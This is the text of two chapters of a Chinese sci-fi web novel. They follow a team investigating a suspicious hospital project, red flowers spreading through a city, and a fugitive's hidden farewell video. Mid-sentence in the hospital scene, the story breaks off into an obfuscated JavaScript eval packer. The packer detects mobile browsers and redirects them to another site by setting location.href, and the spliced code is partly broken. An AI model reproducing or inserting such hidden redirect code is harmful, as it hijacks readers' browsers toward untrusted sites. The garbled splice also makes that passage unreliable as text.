“啊?” “我只是个帮忙的,论对城内外的了解,我应该不比池泷,你为什么不叫她而是叫我?”毫不留情戳破尹霄的目的,林息提出了疑问。 “会长你也太谦虚了,”尹霄靠在软软的靠背上,内心感叹有钱真好,他就舍不得租这么高级的无人飞艇,“虽然你说你只是帮忙,可你了解的绝对不比池姐少。” 身为学生会会长最“亲密”的秘书,他对林息的能力向来是高度认可。 只不过——“会长为什么会选择入队呢?”尹霄的语气里含着一丝他自己都没发觉出来的期待,“虽然是我们提出的邀请,可你大可以不答应,也不会有什么损失”。 “因为我觉得,你们能赢。”看着碧绿眼眸的深处,林息缓缓说道,果不其然,下一秒那双和翡翠一样的眼眸悄悄漫了一地的欢喜。 “我就知道,”尹霄笑得见牙不见眼,下一秒出口的话却让林息心沉,“但这不是原因吧,如果说赢,现在报名的任何一支队伍,不管从人数还是实力来说,都比我们有利。我们不上不下的成绩摆在那儿,连人员都凑不齐,怎么看也不像什么种子选手。” “从我和池泷这几次的相处中能看出来,她在藏拙,估计你们也是,而且,白簇不是声名在外吗?”不慌不忙地抛出回复,林息打起精神应付眼前的人。 “这就奇怪了,军技大赛实看重个人技术,可池姐跟我们说,这两次委托也很少动武,更多是找寻解密。除了这次袭击,倒是有炫技的机会,可她连机甲都没带,你怎么知道她在藏拙?而且——”百无聊赖地拨弄着地图,尹霄闲聊般说道,“就算池姐不知道,我可不会不清楚,凌光进入比熊后就销声匿迹了,皇家机场保密性再好,可三皇子作为炙手可热的皇室门面,身边总围着许多各种目的、无孔不入的人,后续一些没有一点水花,这不是很奇怪吗?” 林息快速想好说辞:“有些事,知道的人越少越好。她也是无辜,被卷进来。因此,能压下去就压下去了。” “因为过意不去,就一而再地帮忙做委托?怎么就那么巧,每次秘密任务总是和池姐的委托在一个地方。”玩够了投影地图,尹霄将其收了起来,继续笑呵呵说,“当然,只要结果对池姐没害处,我们都很感激会长,愿意处理烂摊子。” “不会有什么问题,”林息面上依旧清冷,但心底因为他频繁提起池泷,已经不耐烦。 如果尹霄不是对池泷来说很重要的人,又是未来自己的队友之一,他早就随口应付一句“秘密任务,无可奉告”怼回去了,反正以尹家和白家的势力,也打听不到什么。 但是—— “我从来对你们所有人都没什么恶意,更别说成为队友之后了,”曾经企图分离小队的林息,说起这话毫不心虚,“我知道你和白簇参加这个技能大赛要的是什么,我的加入对你们来说有利无害。你可以信我,毕竟我也有想要的东西。” “什么东西?”尹霄突然转头,双目如炬,一脸八卦的样子,让林息突然觉得他看起来分裂得很,和刚才出言阴阳怪气自己的人仿佛不是一个。 “和你们一样。” 四目相对,尹霄率先移开了眼睛。毕竟相对林息,自己还算娇养长大,因为聪慧和扶持,有一些心思和手段,而这些在林息面前,却几乎可以说是无所遁形。 “我和池泷的巧遇确实是巧合,这点我无法向你出具证据,因为牵扯太多,”说得真假参半,可林息语气轻缓,解释得真诚又坚定,“但我不会伤害你们,尤其池泷。在你们眼里,好像只能看到我可以拿住她的弱点,可相反地,她每次也更了解我一些,几句话几张照片就能让我身败名裂,也算是把柄互换。” “我选择帮她,一开始主要是为了准备进一步找到某些东西来拿捏她,可后来渐渐了解,反而更谢谢她和你们对有些事守口如瓶,”假话如同流水般倾斜,但尹霄缓缓抬起头,看着林息平静的双眼,倒是有些相信,因为他一开始就没天真地想过林息会有绝对的“好心”。 “现在我们会成为队友,是利益共同体,我知道突然加入很难让你们接受甚至相信我,但我会证明。”说着,林息递给尹霄一张纸质名片,尹霄挑眉接过,黑底金字的硬纸片设计得时尚高端,看清楚上面的字,他一瞬间皱起眉头。 “上次和这次的事,发生得太多太快,让她变得很奇怪,”想起池泷入睡皱眉的样子,林息心中担忧,“事情结束后,她需要去这里看看。你知道,我有些事不方便插手,这人是我姑姑推荐的,和林家没什么关系。没有别的意思,只不过以后你们要是想去也可以去,记在我账上。” 看到尹霄惊讶的目光,林息并不介意,“这座城市奇怪得很,你也能感受到白簇的转变吧,这也是今天你坚持跟我出来的原因之一。” 说完这些话,林息就闭上眼睛假装小憩了,留下尹霄一人在座位上烦乱。 可以说,尽管尹霄很开心小队的实力被会长认可,心中也还是疑虑林息的动机,可就像他说的,他的态度已经很明确了。 手中握着那张“张明连心理诊所”的名片,尹霄眼神复杂地看了林息一眼. 要知道,外界对于林息另一位父亲的信息几不可闻,可他却主动把线索递到了自己眼前,自己但凡稍一打听,或者把这张名片已公布,估计各方势力都喜闻乐见。 他喜欢林息,也害怕他。 就像刚才,林息的每一句话都戳到了自己的心思,给人一种“你看我被你全部看透了”的表象,可实际上他并未对任何一件事做出具体明确的解释。 反而先出口威胁清楚他和白簇的事,虽然也不是什么秘密,可他想在其中搅和,他们确实也难以反抗。 后来又递出把柄,告诉自己,他的野心,他想要的自由是什么?他自己不就是自由的代表者吗? 而且口口声声站在池泷的角度考虑,可问题是,一开始,他们并不是队友!他明明可以选择更冷酷、简练的处理方式,却还去找什么“把柄”?把柄个头! 最后他甚至点出了白簇的异常,想到这儿尹霄脸一红,也相当于点到了正事儿。 他说城内有异,那就是真的有异常,而且他怀疑这种异常和白簇的异常有关。 只不过这种点题,倒显得一开始就没考虑正事儿的自己显得孩子气了。 手心里握紧那张名片,尹霄心下担忧,他倒是没看出来池姐的不对劲,但林息如果这么说了,一定是有什么地方被自己忽略了。 他又看了林息一眼,心中清楚,如果林息已经确定池泷不对劲,那他只要把这件事轻轻往上一报,组委会出于谨慎小心一定会派人下来查,几人的报名资格怕是会被直接取消。 人家把态度摆得这么不卑不亢、真心诚意。 无声地叹了口气,尹霄心中给池泷点了三根蜡烛,他觉得池姐完了,她看上这么个人,绝对有一天被卖了还不知道,自己当年怎么就那么想不开,要去牵什么线呢? 不过好在现在他是队友,更加了解后,说不定池姐会对林息的滤镜更理智一点。 而且时间可以证明一切,自己对林息的怀疑是不是偏见也不可知。 尹霄泄气地靠在座椅上,对新队友的到来,充满了期待,还有一点点动摇的不安。 37.第35章 说回池泷这边,她们要去的医院几乎位于城中心,两人选择赛跑。 对,赛跑。 因为白簇兴致勃勃地提出比赛,尽管池泷知道,对于alpha来说,刚吃完饭就剧烈运动,不会产生不良影响,可她表情还是忍不住扭曲了一下,看着像只兴奋大猫一样的白簇,艰难地点头答应了。 于是两人脸不红心不跳、唯独出了一身汗的出现在了医院门口,医院门口也种满了红花,两人站在花里,加上白簇长得也不错,倒是引来不少过往人群“这俩英俊alpha看起来脑子不好”的讶异目光。 别说别人了,就连池泷也不知道这场赛跑的意义在哪儿,她看着仍旧满眼兴奋的白簇,似乎蠢蠢欲动地还想绕着这家医院再跑上几圈。 “可以吗?”酷脸都掩盖不住眼里的精光,池泷眉头皱得更紧了一些,坚定地拒绝了她,并强行把她拉进了医院。 人山人海,人声鼎沸,池泷震惊。 这医院的病人似乎比央星医院的还多,大家都神情凝重来去匆匆,尤其挂号和取药处,更是夸张。 终于轮到池泷挂号的时候,她说是为了家属来咨询的,又报上那天服务员说的症状,没想到咨询台的护士直接皱眉,看着排班表不耐烦地嘟囔了一句“怎么都不在”,让池泷一度以为这事儿今天怕是到此为止了。 结果咨询台的护士又犹豫地递出一张挂号单。 “这人……能看吗?”看着对方纠结的态度,池泷不免产生了怀疑。 “能能能,这病又不是什么罕见病,这家医院哪个医生都能看。”说完,护士准备叫下一个人,池泷拿着挂号单,顺嘴问了一句:“请问这里的儿科有个叫安德尔的医生吗?” “啊?”护士一脸奇怪,看起来不像假的,“不知道你是不是记错医院了,我在这儿工作几十年了,据我所知,这儿从来没有过一个,叫这个名字的医生。” “那可能是我记错了,谢谢啊。” 说完,池泷就往挂号单上的“特殊诊室”走去,路上遇到几个坐在走廊长椅的人,她想了想,反正也是第一次来,干脆走一段儿就聊上几句,说不定还能再打听点儿什么。 他们全部都是亚硫城本地人,或者长期来往亚硫城的人,只不过大多是复诊,只要挂个号,医生开个处方继续拿药就行,而像池泷这样初诊的才去这个诊室。 看到诊室的值班医生,他们摇了摇头,说:“这个医生医术不行,心眼还坏,你不行明天再来一趟吧。” 打听起服务员所谓的医疗项目时,那几人也慷慨直言:“嗐,这医院原来哪有这么多人,这不就因为这个和央星合作的项目才逐渐人多的。说到底还是沾了央星的光,不然这个地方,设施不行、人手不够,哪来的时间精力研究呢。” “这个医院不是亚硫城唯一的公立医院吗?”池泷好奇,“市长不应该特别看重这里?” “以前可不是这样呐,”这些老百姓眼神奚落,声线降低,“以前比这儿好的医院多了去了,也就这两年,这种病突然多了起来,再加上这里的院长不知道用了什么手段,达成了这个项目的合作,一时间顶得其他医院全黄了,有些有名的医生也随即跳槽了过来,不然谁来啊。” “像这个,”现在这位被池泷抓住的alpha大叔用手点点她的挂号单,“以前在别的医院里,口碑多好的医生啊,到了这儿,可能也是不缺钱了,连病都不给我们看。” “怎么个不给看法儿?”池泷把白簇按在旁边,自己一屁股坐在凳子上,摆出一副八卦的样子,顺手从窗台上摆的几盆红花里扯了一朵揪巴着,像极了村□□换情报的老人家。 “嘿,你自己去瞧瞧就是了,”alpha大叔一脸“我知道我就是不告诉你的”表情,池泷也懒得搭理,转而问道:“不过你刚才说院长有什么手段怕是假的吧,这个项目对接央星的谁啊,能这么短时间研究出这么灵的药?” “你这个年轻人就不懂了吧,”alpha大叔一脸神秘,还带着轻蔑,“虽然我不知道对接的谁,但我知道有些病怕是这两年爆发,实际上搞不好早有了。这项目,说是这两年研究出来了,可没说就研究了这两年啊,文字游戏懂吧,他们这种人都这样。” “听这话,有内情啊?”池泷不信地看了眼alpha大叔,“一小老百姓还能知道这个?” “你们年轻人,老是仗着什么比我们会上网、懂得多,这就看不起老人了?”池泷的话仿佛触怒了这位alpha大叔,他声调一下子转高,仿佛用声调就能压上池泷一头,居高临下地教育她,“我们本地的都知道,原来这里有几个‘小白鼠’,说是志愿者,就是小白鼠,给研究不知道什么项目。虽然没听到什么后续,可没几年就没人见过这些志愿者了,再没两年,这个项目出世了。” 看着池泷似乎还要张嘴,alpha大叔直接打断:“我二姑的表妹邻居的小妹夫当时就在这个医院当护工,他那时候在医院看护,偶尔半夜起来还能看着几个穿白袍的的人呐,那些人都长条似的,看着像饿死鬼,虽然医院解释说是别的科的患者,可纸包不住火啊,他们拿了钱做小白鼠呢。” “还有这样的志愿者?”池泷满脸震惊,用手捂住嘴,小声接茬。 “你这就是还年轻,见的少了,”alpha大叔不屑,“拿了钱你情我愿的事儿呗,反正不拿钱也活不了,死之前还能给家里挣点儿,多划算。” “我不信,还有人敢这么不惜命的呢,你这个亲戚不是看错了吧。”撇撇嘴,池泷半信半疑的表情似乎激怒了眼前的alpha大叔。 他翻了个白眼,胸膛高高顶起,右手抬起,手指指着池泷,刚吆喝了一个“你……”,却不知想到了什么,快速在周围转头看了看,右手落下,啪地一声攥住了左手,胸膛快速起伏了几下。 接着弯腰小声说:“你懂什么,这个医疗项目就是这么来的。还有别的人说,有时候都能听见这里有人惨叫呢!那声儿简直了……听着人发毛,只不过现在得这毛病人多,大家糊里糊涂、假装不知道地用着呗。人得为己嘛。” 要不是这alpha说自己没见过,看其有板有眼的样子,池泷都怀疑他是不是亲眼所见、亲耳所听了。 刚说完,两人便感觉身前多了个高大的阴影,原来是白簇走到了池泷眼前,她那张具有压迫力的冷脸加上低压的声线,一声“走”吓得alpha大叔赶紧把池泷轰开,池泷也顺势告别。 走的时候,池泷也问了一句这个“消息灵通”的alpha大叔认不认识儿科的安德尔医生,他一脸晦气地摆摆手,闭着眼睛,慌忙说道:“没见过、没见过,住这儿这么多年,还没听过有这么一号人,赶紧走、赶紧走。” 池泷笑了笑,道谢后,搂着白簇的肩膀转身离开,手下的紧绷触感让她忍不住捏了捏,“放松点,这里是医院又不是训练场。” 她知道白簇为什么会低气压地来打断两人的对话,作为一个曾经也走投无路的“病人”,alpha大叔的话,并不中听。 随即她闻到一股熟悉的味道,低头一看,白簇的指间不知道什么时候也夹了一朵撕碎的红花。 赶紧把这东西拍离白簇的手,池泷愣了一下,随即解释:“多脏啊。” 白簇乖巧地点点头,池泷继续搂着她往特殊诊室走去。 诊室门口,已经坐了许多人,大多数的病人,都是看起来就面色苍白无力的中年人,他们靠在其他人身上,连呼吸都几不可闻。 这时,门突然打开,一位家属满脸通红地扶着无力的病人走出来,嘴里还骂骂咧咧:“可笑,一个医生,竟然看不了病,还让搬家,别人说你的名声差我还不信,现在看,你爸的名声都早晚要被你败坏到底,你不看有的是人看!” 眼看人走远,站在门口的池泷自言自语道:“已经都听别人这么说了,还来找这人看?” “你不知道,这位曹医生,医疗世家,他父亲以前在我们这儿有口皆碑,小曹医生以前也是,”旁边的病人家属解释,“医院也是把小曹医生当招牌的,可自从来这个诊室,小曹医生就逐渐不看病了。 家属长长地叹了口气,“现在更是名声臭,我们这些老街坊,平时都喜欢去他家里看点别的毛病,也没问题。现在这种病也多了,他又只看这种病,却不知道为什么,谁来都硬说看不了。” “那还坚持来?”池泷不解。 “这医院只有这一个诊室初诊看这种病嘛,而且小曹医生现在基本不坐诊,今天可能特殊。其实就是开个处方的事儿,别的医生都是这样做的,唉,”家属病人一脸叹息,脸上划过几分不忍,“小曹医生名声再坏点,怕是只能被辞退了,老曹医生倒是个好人,可惜家门不幸。” 这样看病倒是省时间,每位病人几乎很快都骂骂咧咧地走了,尽管如此,两人也在门口等了好一会儿,才叫到号。 口碑曾经很好现在就知道磨洋工的、坐诊的大夫,门口的电子屏显示名字是“曹追星”,是个中年alpha男性。 一进门就能看见他低着的头顶银白发丝下显而易见的头皮,头侧的头发倒是茂密,但乱糟糟似乎没有被打理过。 听见开门声,他懒洋洋地抬头,还不耐烦地“啧”了一声,嫌弃的表情,就怕池泷他们看不懂,脸上架着一副粗黑框眼镜,硕大的镜片掩盖不了凸显的大眼袋。 看发量,是个好医生;看外表,像个流浪汉。 池泷走到这位医生跟前,站在旁边的医疗机器人将她扫描了一下,追星医生随意瞥了眼显示屏,看起来好像有些打结的眉毛多了一层皱起,怀疑道:“嚯,央星来的?这体格看着比一般人都健壮啊,看病?” 顺手把门关上,白簇守在门前,池泷苦着脸回复:“没,特地帮家人咨询点事儿。” 听见这话,追星医生推了推眼睛,双手平放在桌面叠起,说:“坐,说说,啥事儿。” 于是池泷将给路人说的故事又复述了一遍,从听见症状开始,追星医生就开始将手从桌上拿走,插进了大褂的口袋里,整个人逐渐倚靠着皮质座椅,舌头偶尔百无聊赖地舔舔牙齿。 快说完时,这位医生甚至都翘起了二郎腿,右脚搭在左腿上,快速抖动,池泷才看见,这位医生上班穿的是一双破旧的人字拖。 但双脚打理得干净利落,连脚指甲都剪成了好看的圆形。 终于池泷刚一住嘴,追星医生下一秒就接上:“看不了。” “他们都说有医疗项目……”池泷一副不死心的样子。 “我不知道,我不关心,反正我看不了。”这位医生勉强给了池泷一个眼风,接着眼神又不知落在了哪里。 守门的白簇突然走上前,她单手撑在桌面,说了句“看不了?”便向医生逼近。 而那位医生靠着椅子仍旧不为所动,脸上没有一点恐慌。 在两人鼻尖几乎都要靠在一起时,白簇忽地起身,又走回了门口。 “我说,”这位医生嗤笑了一下,“你俩军人?军人威胁医护工作者?监控可都拍下来了,不怕我投诉?” 池泷一下子睁大眼睛,好像被看破真相的医生惊到了。 实际上,内心也确实有些震惊,毕竟能在白簇的逼近下,还这么沉稳的人,真是不太常见。 于是医生又嗤笑了一下,继续说:“军人及家属有星联补助,去央星好好看看,什么病看不明白,首都看不明白的病,真当郊区能看明白了?” “你怎么知道我们的身份?再说,这个项目不是和央星合作的吗?”池泷问。 “呵,你的身体机能状况都在我显示屏上有呢,而且她”医生抬起下巴,指了指白簇,“这呼吸频率和状况,皮肤张弛有力,各路伤口瘀痕加上手心老茧,除了军人还有别的选项吗?” “我祖上有门望闻问切的功夫,你们可能不知道,古星时期传下来的,”医生一脸骄傲,“据我父亲说,以前老祖宗时候就是军医,要不我能叫追星,追随星联。” 但他并未回复后一个问题,只是刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986405|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刷在纸上写了几个字,写完后将纸张折起攥进手心,又在显示屏上点了几下,旁边落尘的打印机缓缓打出一张处方单。 “喏,”处方单上别了个夹子,递给池泷。 拿过单子的池泷依旧坐着,对方看了她几眼,嫌弃地说:“都说了看不了,就是看不了,抓紧回去,”他伸出手指点了点单子,“赶紧的吧。” 这张单子后面,夹子正夹着一张折起来的纸条。 “没关系吗,医生?”她缓缓开口。 “我干这个诊室以来,第一次遇到军人。”医生笑起来,他的牙齿白净铮亮,声音逐渐变小,“而且也没什么得病的亲戚不是吗?” “真的家属抱恙,”追星医生目光逐渐深沉,“那种表情和眼神,很难描述的。” “可……”池泷还想说什么。 “望闻问切,说的不仅是病还是人,看你们的面相和眼神,”追星医生推推眼镜,摇头晃脑地说,“中气十足,正气凛然,百毒不侵啊,”说着,又伸手点了点池泷,看起来有点神叨叨的,“但你最近有忧思,想开点。” 背对着监控,池泷将纸条藏进手心。 出门后,她看了看处方单上写的字,似乎不是某种药品,而是一味药材“路路通”,顺手把单子扔进了垃圾桶。 “什么意思?”旁边的白簇问道。 “以前古星上的某种植物果实,长得像个刺球儿但浑身是洞,主治一个通经顺气。”池泷说。 看见白簇震惊的目光,池泷一把搂住她,“书上看的,平时叫你图书馆还不去。” 两人走出医院,坐上飞艇。 该说不说,也是赶巧,这次正好碰到这样一位不同于人的医生,省了不少事。 “他怕是被医院排挤了,”池泷叹气,想起病人对这位医生境况的描述,唏嘘不已,“招人家的时候当招牌,招牌请回来了,怕是有些事谈不拢,干脆逼他出去得罪人。” “外面那样多的人等着项目签字,偏偏派这样一个拒绝签字的人去坐诊,耽误病情,还能败坏名声,一石二鸟,用完就扔。” 打开那张纸条,上面赫然写着一座医院名称和一个人名,白簇过来看了一眼,皱眉:“信息素?” “什么?”alpha常年不太生病,因此池泷对医院不是特别熟悉。 “姑姑,专家,信息素。”白簇指了指上面“白心”的名字,又指了指自己,“小时候。” “你小时候就是她给你治疗的?”听见池泷的问话,白簇点了点头。 于是池泷陷入了沉思,她想起去找洛熙之前,自己和林息那次奇怪的经历,总觉得有什么事情可以串联起来了。 “去吴天语家。”不知道为什么,池泷脑子里突然蹦出这个想法。 他们改变了飞艇的终点,原本准备回酒店的两人最终到了吴天语家楼下。 熟门熟路地找到吴天语家门口,隔着老远便听到屋内有人活动的声音,两人立马屏气凝神,放轻脚步,逐渐靠近时,又不约而同地恢复原状。 里面是林息和尹霄。 “是我们,开门。”池泷伸出手敲了敲门。 很快门被打开,一张沾着灰的小脸出现,灰色的头顶,短发炸得四散。 看见这好笑的一幕,池泷忍不住打趣:“做贼了?” 白簇在后面指了指自己的脸。 “哎呀,找东西来着。”尹霄嘟着嘴擦擦脸,将两人放了进来。 “找什么?”说着进门,池泷一眼就看到在书房窗边站着的林息。 “不知道,刚才我俩探查完亚硫城这边的地形后,会长突然提出要过来看看。”看尹霄一直找不准位置,白簇便上手帮他擦拭,“我第一来,想着到处看看,说不定会有新线索。” 池泷走到林息身边,窗外的风景和池泷前几次来的时候没什么两样。 远处公园里,紫色鸢尾花锦簇一团,在一片红色的包围下,悄悄地、小小地怒放。 两人一时无话。 “我们今天补充全景图的时候,发现一件事,”没一会儿,白簇和尹霄也走了过来,两人站到旁边,“显而易见,这座城市里,到处都是红花。” “但有几个地方却没有,”尹霄打开全息地图,上面基本被红色覆盖,如果不放大到一定倍数,根本看不清上面原来还有几个不起眼的小黑点。 这种技术也是白家提供给白簇的,一定范围内一种特殊射线会扫描周边,在一定程度上识别具体物品是什么,方便潜伏袭击占据主动。 这会儿到了尹霄手里,怕是经过他的改造,能比较便利的识别出红花的存在,并标注上了颜色。 “公共部门,比如市政府、医院;私人场所则有TS、几处餐厅和咖啡厅。”指了指那些黑点,尹霄继续说。 “为了做全景图,我们还特意去城外转了转,这种味道奇特的植物似乎正在逐渐从城内向外侵蚀,就近的城外,许多地方都被这些红花包围,现在倒是看不出有什么生态影响,不排除共生的可能性。” “当然,两年时间,发展到这个地步,倒也说不上正常不正常,毕竟每种植物的生命力和繁衍能力不同。但——总感觉很吓人,我正好认识一位植物学家,就收集了一些植物样本,准备寄回去给他看看。” 抿抿嘴,尹霄继续说,“看了看附近地形,亚硫城内部基本都是平原,外围倒是有山区容易藏身。可跟你们的信息不符,如果你们听来的的来源信息可靠的话,那飞燕只能藏在地下了。” “可一个在地底的基地,市政府会不知道吗?这里毕竟是边缘城市,偶尔还会有探索队来这里出境,他们也没察觉?”尹霄陷入纠结。 “还有一个地方,没有红花。”这时池泷和林息突然不约而同地出声。 “嗯?哪……”尹霄突然住嘴。 那座鸢尾盛放的公园,有个小小的蓝色圆形。 但是在地图上,根据红花样本信息探测得出来的地图上,那里正在被红色覆盖着。 38.第36章 四人沉默。 还是池泷哼笑了一声:“这也……太不起眼了。” “如果不是因为这事儿,我们正好在这里,谁能知道还有片这样的地方,”尹霄挑眉,抓起白簇就往外跑,“我和阿簇去看看那边,扫描下附近。” 见此情景,池泷刚想张嘴说什么,就被尹霄打断:“我知道,对面保不齐也有什么反侦查手段,会小心的。” 两人出门后,池泷和林息也从窗前起身,走向客厅,林息问道:“你来做什么?” “不知道,没什么确切目标,”抓抓头发,池泷说,“就是脑子里,不受控地、突然蹦出要过来的想法。” 看着依旧空荡荡的客厅,池泷不禁感慨:“你说,咱要是吴天语,放着对自己余情未了的前夫不管,又没法跟人正常交流,天天蜗居在连个人味儿都没的房子里,心里得多憋屈。” “说出来不怕你笑话,我以前设想过婚后的日子,”池泷突然走向门口,假装自己刚进门,正在换鞋,“每天下班后,说一句‘我回来了’,家人、宠物一股脑地出现,想想都美。” “如果是吴天语的话,”林息勾起嘴角,似乎被她孩子气的行为感染,接道,“虽然不擅长说话,也会努力去学一句‘洛熙,我回来了’。” “叮叮叮叮叮!”一阵欢快的音乐突然响起,两人愣了一下,紧接着,通用版AI管家的声音出现,“回来啦,天语。” 那台跟整座房子格格不入的星视突然启动,紧接着出现的,竟然是吴天语的脸。 和通缉照不同,视频里吴天语胡子拉碴,双颊似有凹陷,嘴唇轻微干裂起皮,眼睛里血丝分明,看起来十分憔悴。 “我做错事,”木然的眼睛动了动,“害了人,很多。” 说着,他伸出食指,指了指自己。 “好好生活,”说到这儿,吴天语轻轻笑了一下,嘴角的细纹明显起来,视频里传来窸窸窣窣的声音,接着他拿起一张白纸,上面歪歪扭扭地写着几个难以辨认的字,“大哥、二哥。” 原来是阿瑞亚和李光的名字。 接着从身前拿起另一张纸,上面用鲜红的水笔画了无数条奇怪的波浪线。 “赎罪,别找我。”话音刚落,视频就消失了,星视黑屏。 林息快速上前,将星视检查了一番,随即摇摇头:“报废了”。 突如其来、又转瞬而去的意外。 两人面面相觑。 在脑海里迅速过了一遍刚才的场景,池泷开口:“你有没有觉得,尽管刚才他说的不多,但到处都很违和。” 歪歪头,林息示意自己在听。 “首先,他说做错事害了很多人。这点和洛熙说的一样,这件错事难道是指偷酒吗?可这次偷盗虽然事发突然,但以厂区的生产力,也很快就挽回了可能造成的损失,这并不能达到‘害了很多人’和让他憔悴非常的程度吧。” “其次,那句‘洛熙,我回来了’应该是触发点。可我在调查过程中,发现TS的这款星视,当初并未研发修改开机语音的功能。” “而且这门技术虽然时间久远,但毕竟是TS家的东西,想随心所欲地修改还是有一定难度的。”林息接道,眼神回到那台难以修复的星视上,“这台机器是这里最突兀的东西了。星警说不定将它好一顿盘查,甚至要求TS公司协助,但视频仍旧好好地藏在这里,绝对不是一般人能做到的”。 听到这话的池泷表情严肃,“所以在这件事中还牵扯另外一人或者另外一方,他们具备较高的科技理论和操作水平。” 沉默了几秒,林息说出了两人心中所想:“万一是飞燕呢?” 池泷随即也静默了一下,她明白林息的意思,虽然洛熙斩钉截铁地表示二者并无联系,但如果吴天语真的跟飞燕达成了合作,这些事,那对飞燕老说,还不是手到擒来。 但她不知道为什么,下意识总有些逃避这样的推测。 一个为了伴侣孤身坚持存活至今的人,为了手足兄弟克服基因障碍练习写字的人,真的会和恐怖的组织有什么不可告人的往来吗? “这句开机语音,大多用于夫妻之间吧。能不能说,除了设置者之外,其他有可能知道并使用这句密码的人——”池泷转移话题,“最大可能是洛熙。但考虑到他的社交圈,知晓吴天语过去的阿瑞亚、李光说不定也知道。” “但视频只提及了两个人,倒不像是给洛熙看的,”林息接茬,他看着那台星视,似乎在思考着什么。 “洛熙说过,自己绝不想出去。可偏偏吴天语又在不正常的日子里去找了他,说什么赎罪的话。哪怕没有他和洛熙这样关系的外人,也必然会觉得不对劲,洛熙更会立马察觉。” “如果说,是故意引洛熙来亚硫城,打开这个星视,发现并向其他两人展示遗言,总觉得大费周章且毫无意义。” “对,我也觉得。”池泷接道,“现在因为这个案件,吴天语成为热点,如果视频被星警发现,可以算作一条重要线索。但如果我是吴天语,帮前夫藏在人后那么多年,单单让开机语音来暴露洛熙存在这点,和他过去的初衷,就显得前后矛盾。” 池泷看向林息,他似乎依旧在沉思:“就算是遗言视频,也没有提到洛熙,说明他其实有可能还是不想让洛溪暴露。所以我更倾向于他找洛熙,是为了单独交代遗言,而且看吴天语的样子,他的赎罪有种以死谢罪的感觉。以洛熙的性格,如果不当面解释清楚,恐怕会竭尽全力去阻止吴天语。” “而且,如果李光和阿瑞亚知道这句密码,这个视频也不会被我们碰巧看到了。”收回目光,池泷总觉得林息过于认真思索的样子,不像单单只在思考这件事,“你觉不觉得,这个视频除了像遗言,也像一份声明。” “声明什么?”林息问道。 “‘我做的一切都是咎由自取,跟其余人无关。’”池泷皱眉,翻开在洛熙那里记录的笔记,却发现红色波浪线代表的意思有不少,最多的用法是表示“连衣裙”,这应该和这次事件无关。 “这是一份对内的声明?”林息推测,“这份声明,仅仅是给包含洛熙在内的三人看。而且,他有信心这份声明不会被星警发现。” “现在来看是这样,但总觉得还有地方不对。”池泷继续皱眉,忍不住自言自语,“这件事后面还有什么呢?不明来源的技术支持,告别最亲的人们,将所有事揽下来,暴露洛熙……” 转头,池泷正好看向林息,对方也恰好正在望着她。 四目相对,她突然笑了,“你觉不觉得,这一幕就像星视里演的那样,他这么说,有点像让亲人远离麻烦、放下仇恨之类的。” “我不知道……或许他是在保护着什么。但至少我知道,虽然这次的发现具有偶然性,但兜兜绕绕,最终好像都和洛熙有关。” 看见池泷的笑容,林息忍不住盯了一会儿,然后不太自然地挪开双目:“没想到你也看星视。” “嗯?我不怎么看,只有放假回家的时候,陪擎叔看,年纪大的人都喜欢这个。”合上笔记,手指敲了敲封皮,接着,池泷把她和白簇在医院的所见所闻也告诉了林息。 飞燕、医院、信息素、吴天语、洛熙……一大堆的信息混在一起,池泷揉揉额角,叹气:“总觉得有种明明只打算推进主线任务,却引发一堆支线任务的感觉。” 看着她发愁的样子,林息觉得可爱,便忍不住笑了笑,说道:“白簇的事情在央星倒也不是什么秘密,只不过白簇的姑姑姓秦,而且比较神秘,大多数人不知道两人还有这样一层关系。” 波澜不惊的语气,看来有些事虽然大多数人不知道,可林息应该是很清楚的。 “这位曹医生让你们去央星找秦教授,可秦教授在信息素科并不不挂号坐诊,外人不会轻易知道她,知道的人也很难请动她出山,除非这位曹医生和她有什么我们不知道的关系。” 林息解释道:“无论如何,从他的话里,我们能知道的是,这种导致脏腑衰竭的病应该和信息素有关系,”说到这儿,贝齿轻咬了下嘴唇,“又或者说,和腺体有关。” 果不其然,池泷脸上并未流露出不好意思的表情,反而坦荡荡。 “那个医疗项目也奇怪得很,反正我在央星从没听过,”池泷摸摸下巴,补充,“说它造福民众,可一旦谈及这个大家又讳莫如深;说它有猫腻吧,偏偏还有肉眼可见的治疗功效。” “我也没听过。”林息一锤定音。 那池泷基本可以确定,这个神秘的医疗项目或许涉及虚假宣传,至少央星的公共卫生机构并未就此与亚硫城有合作。 想起那位alpha大叔口中的传言,池泷又怀疑……也许确实是合作了,但合作对象并不能放在明面上? “不过巧合的是,这家医院也刚好跟吴天语相关,就是那家没收到钱的医院。” 说到这儿,池泷停顿了一下,然后小心地开口:“你为什么会突然对小溪感兴趣?” 虽然池泷相信,林息不会随便为难或伤害一个小孩子,可她也觉得,他不会无缘无故在一个小孩子身上费心。 以前两人不熟,而且林息做事可能涉及秘密任务,她无意去窥探什么,但现在他们应该是亲密无间的队友,因此或许她可以尝试询问一下。 毕竟她真的还挺好奇的。 不过——“当然,如果你不想说,也可以不说。我没别的意思,只是有些好奇而已。”池泷紧接着补了一句。 闻言林息明显愣了一下,随即轻轻弯起唇角,看起来挺高兴。 “你有没有发现小溪的特殊之处?”他平静地反问,眼睛深处却藏着什么涌动的东西。 “呃……性别问题?”将那日的情形又在脑海里过了一遍,池泷印象最深的还是这点。 “差不多吧,你知道腺体吗?”林息继续提示。 “主要功能是作为生殖系统存在,大多数时间是与新人类繁衍挂钩的。”池泷想起擎晴的教导,“但在某些特定情况下,它也像新人类的半个心脏一样,遭到严重损坏的情况下可能会使人失去生命。” 说到这儿,她又想起不久前巷子里的那一幕,右手无意识地攥握。 “没错,和你说的一样,主要作为生殖器官的腺体,第一作用就是确定性别,这是毋庸置疑的。” 假装无意地扫过那只拳头,林息淡然补充:“随着技术和认知的进步,它的其他本体功能及衍生功能也得到了认证和开发。” 